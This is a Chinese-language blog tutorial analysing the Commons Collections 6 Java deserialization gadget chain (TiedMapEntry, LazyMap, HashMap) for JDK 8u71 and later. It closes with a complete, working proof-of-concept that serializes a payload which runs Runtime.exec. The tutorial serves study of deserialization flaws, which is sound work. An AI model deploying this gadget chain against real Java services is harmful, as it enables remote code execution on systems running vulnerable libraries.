JAVA安全之CommonsCollections6

CommonsCollections6

引入:CC6其实就是我们为了适应在JDK8u65之后,我们代理类中的this.memberValues被替换为了linkedhashmap,不是先前设置的lazymap,这就导致无法在调用AnnotationInvocationHandler触发lazymap.get

目标:找到高版本中能够通过链式调用来完成我们的lazymap.get的调用。

回顾CC1:

  1. 我们在transFormap类里面是去利用ChaniedTransformer类的Transform方法,利用AnnotationInvocationHandler中的for循环来遍历数组,并且利用memberValues.entryset()中
  2. 利用lazyMap.get里面的transform方法,这个是利用动态代理AnnotationInvocationHandler来实现的。

环境:

JDK8u71

commons collections 小于等于3.2.1

分析(POC分析)

我们已经知道我们的AnnotationInvocationHandler因为版本问题不能实现之前直接的lazymap的调用

image-20240625223942009

在这里我们IDEA就有个小Bug,就是我们的环境虽然变了但是我们的计算机还是能弹出来,这就是灵异事件;

image-20240625224757286

在8u65的环境中this.memberValue实际上是我们的LazyMap,这里替换了之后,就不能设置键值了,所以我们得找到其他的类来实现get方法的调用(不能使用动态代理了)

TiedMapEntry

  public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

  public Object getValue() {
        return this.map.get(this.key);
    }

  public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

这三段代码实际上就阐述了TiedMapEntry这条调用链的思路,通过触发hashcode来触发get方法,然后触发transform方法

简单测试代码

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap(), ct);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");
        tiedMapEntry.hashCode();
    }

image-20240711172408270

知道了如何能够RCE之后,就来联系能够触发hashcode方法

HashMap

熟悉的hashmap,我们在学URLDNS这条链子的时候就知道了,这里实际上是通过触发readObject里面的putVal方法进而触发hash里面的hashcode方法

 putVal(hash(key), key, value, false, false)
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

这里值得我们注意的是,这个key的值需要满足非空条件

K key = (K) s.readObject();这个key是反序列化之后的数据,我们需要在序列化之前写入我们的数据

这里就会使用到put方法写入数据,在序列化之前写入数据,让key值不为null

但是这里会出现一个新的问题,就是会在序列化之前触发我们的putval方法

image-20240711190626698

这里的思路就是,先让put方法写入key的值,然后再通过反射修改transform对象

使用put方法触发RCE

image-20240711191347837

成功触发,但是问题如何解决。

反射修改factory的值

我们为了避免触发我们的transform,所以我们使用反射修改

        Class<LazyMap> lazyMapClass=LazyMap.class;
        Field factoryFiled=lazyMapClass.getDeclaredField("factory");
        factoryFiled.setAccessible(true);
        factoryFiled.set(lazymap,ct);

这里我们成功通过反射修改了值,但是我们的RCE不触发了。

我们思考一下这条链子的核心是什么,实际上就是我们来触发get方法,既然不能RCE,说明这里实际上有一步出现了错误,我们一一排查之后就会发现

image-20240711220726284

这一步下断点的时候不会直接执行transform方法,因为这里的key值是为key的。

所以最后一步就是直接移除掉这个多余的值。

lazymap.remove("key");

思考:为什么不一开始就直接不要key值呢?

完整POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
        hashMap.put(tiedMapEntry, "value");
        
        lazymap.remove("key");
        
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryFiled = lazyMapClass.getDeclaredField("factory");
        factoryFiled.setAccessible(true);
        factoryFiled.set(lazymap, ct);
        
        serial(hashMap);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
        in.readObject();
    }
}

posted @ 2024-07-16 17:46  tammy66  阅读(11)  评论(0)    收藏  举报